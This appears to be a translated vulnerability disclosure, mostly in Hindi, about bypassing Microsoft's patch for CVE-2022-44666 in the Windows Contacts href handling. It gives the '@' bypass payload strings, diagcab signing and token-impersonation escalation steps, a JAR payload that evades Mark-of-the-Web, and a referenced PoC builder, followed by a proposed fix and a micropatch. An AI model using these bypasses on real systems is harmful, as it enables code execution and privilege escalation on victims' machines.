v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
तो फिक्स के लिए बायपास काफी सरल है। केवल एक अक्षर "@" का उपयोग करना आवश्यक है। इस तरह की Symlink href विशेषताएँ फिक्स को सफलतापूर्वक बायपास कर देंगी:```html
hidden\@payload.lnk
hidden\@payload.exe
Set-PSRepository -Name "PSGallery" -InstallationPolicy Trusted
Install-Module -Name ASRRules -RequiredVersion 0.0.2
``````html
[email protected]
[email protected]
अधिक जानकारी के लिए, स्टैंडअलोन संपर्क फ़ाइल के लिए एक वीडियो है।
प्रूफ ऑफ कॉन्सेप्ट ./bypass/report-pocs में स्थित है।
और एक और MS Word और LDAP url प्रोटोकॉल के लिए।
प्रूफ ऑफ कॉन्सेप्ट ./bypass/further-pocs में स्थित है।
पैच रिलीज़ के एक दिन बाद, यह जानकारी MSRC को भेजी गई थी। दुर्भाग्य से, मामला हाल ही में इसके बारे में अधिक जानकारी के बिना बंद कर दिया गया है।
CVE-2022-30190 जिसे Follina भेद्यता के रूप में भी जाना जाता है, और CVE-2022-34713 जिसे DogWalk भेद्यता के रूप में भी जाना जाता है, के बाद, एक सार्वजनिक रूप से ज्ञात लेकिन कम आंका गया तकनीक को @buffaloverflow की बदौलत फिर से पुनर्जीवित किया गया। मेरे साथी और मित्र Eduardo Braun Prado ने मुझे इस तकनीक को यहाँ उपयोग करने का विचार दिया।
ऐसा करने के लिए कुछ पूर्व-आवश्यकताएँ हैं:
एक वास्तविक हमले का परिदृश्य एक कोड साइनिंग प्रमाणपत्र चुराने पर आधारित होगा जो वास्तव में लक्षित सिस्टम में स्थापित है। लेकिन चूंकि यह केवल एक प्रूफ ऑफ कॉन्सेप्ट है, इसलिए एक स्व-हस्ताक्षरित कोड साइनिंग प्रमाणपत्र उत्पन्न किया गया और @payload.diagcab नामक diagcab फ़ाइल पर हस्ताक्षर करने के लिए उपयोग किया गया।
इसलिए पुनरुत्पादन के लिए, Trusted Root Certificate Authority के अंतर्गत cert.cer में स्थित प्रमाणपत्र को स्थापित करना आवश्यक है इस प्रकार:
अंततः विशेषाधिकारों को बढ़ाने के लिए, टोकन चोरी/प्रतिरूपण (impersonation) का उपयोग किया जा सकता है। इस मामले में, "parent process" तकनीक को चुना गया। इस स्क्रिप्ट का एक संशोधित संस्करण रिज़ॉल्वर स्क्रिप्ट्स के अंदर शामिल किया गया था।
अधिक जानकारी के लिए, MS Word और LDAP url प्रोटोकॉल के लिए एक वीडियो है।
प्रूफ ऑफ कॉन्सेप्ट ./bypass/diagcab-pocs में स्थित है।
अपडेट 2023/06/19: @pfiatde का "ZipJar" पर पोस्ट पढ़ने के बाद, यह दिलचस्प जानकारी JAR फ़ाइलों को इस भेद्यता में पेलोड के रूप में उपयोग करने के लिए एक अच्छा उम्मीदवार बनाती है, जो वैसे भी आजकल अभी भी 0day है, क्योंकि MotW को अनदेखा किया जाता है, किसी प्रॉम्प्ट को स्वीकार करने की आवश्यकता नहीं होती है।
JAR पेलोड github रिपॉज़िटरी calc_security_poc से लिया गया था।
वहाँ आपके लिए एक छोटा बिल्डर, create-poc.py संलग्न है, जिससे आप किसी टेम्पलेट से अपना स्वयं का POC बना सकते हैं।
@microlovu और @mlftsecresponse को धन्यवाद देना मत भूलिए। 😂
फ़ंक्शन "fnSummaryProc" में मौजूद भेद्य कोड को याद रखें:```cpp ... LABEL_44: SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute return 1i64; } } else { if ( v23 ) v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@" else v32 = 0; v29 = v7; if ( v32 ) { v30 = v23; goto LABEL_44; } } ...
फ़ंक्शन "IsInternetAddress" जानबूझकर यह जाँचने के लिए बनाया गया था कि href विशेषता किसी ईमेल पते से मेल खाती है या नहीं। इसलिए मेरा प्रस्तावित सुधार (और लाइब्रेरी द्वारा उपयोग किए जाने वाले आयातित फ़ंक्शनों का अनुसरण करते हुए) होगा:```cpp
...
if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
{
v30 = v23;
goto LABEL_44;
}
...
इतना सरल है यह, "SafeExecute" को कॉल करने से पहले केवल इसकी जाँच करना आवश्यक है। बस यह परीक्षण करना कि टारगेट स्ट्रिंग (v23) "mailto:" से शुरू होती है या नहीं, बग पूरी तरह से ठीक हो जाएगा IMHO।
कुछ दिन/सप्ताह पहले जब मैंने इस मुद्दे के बारे में सूचित करने के लिए 0patch के @mkolsek से संपर्क किया, जो वैसे हमेशा मेरे प्रति बहुत दयालु रहते हैं, उन्होंने मुझे बताया कि इसे तब से Windows 7 के लिए एक अनौपचारिक समाधान (4 साल पहले) मिल रहा है। यह एक आश्चर्य और अच्छी खबर थी!
इसका परीक्षण किया गया और इसने CVE-2022-44666 के नए वैरिएंट को सफलतापूर्वक रोक दिया। माइक्रोपैच href attr द्वारा पारित हमलावर-नियंत्रित स्ट्रिंग के आगे "http://" जोड़ देता है यदि वह "mailto:", "http://" या "https://" से शुरू नहीं होती है, जो मुद्दे को पूरी तरह से ठीक करने के लिए पर्याप्त है। अब इसे नवीनतम Windows संस्करणों के लिए विस्तारित किया जाएगा, केवल कुछ ऑफसेट अपडेट करना आवश्यक है।
किसी भी तरह, आधिकारिक पैच मिलना बेहतर होगा।
द्वारा @j00sean
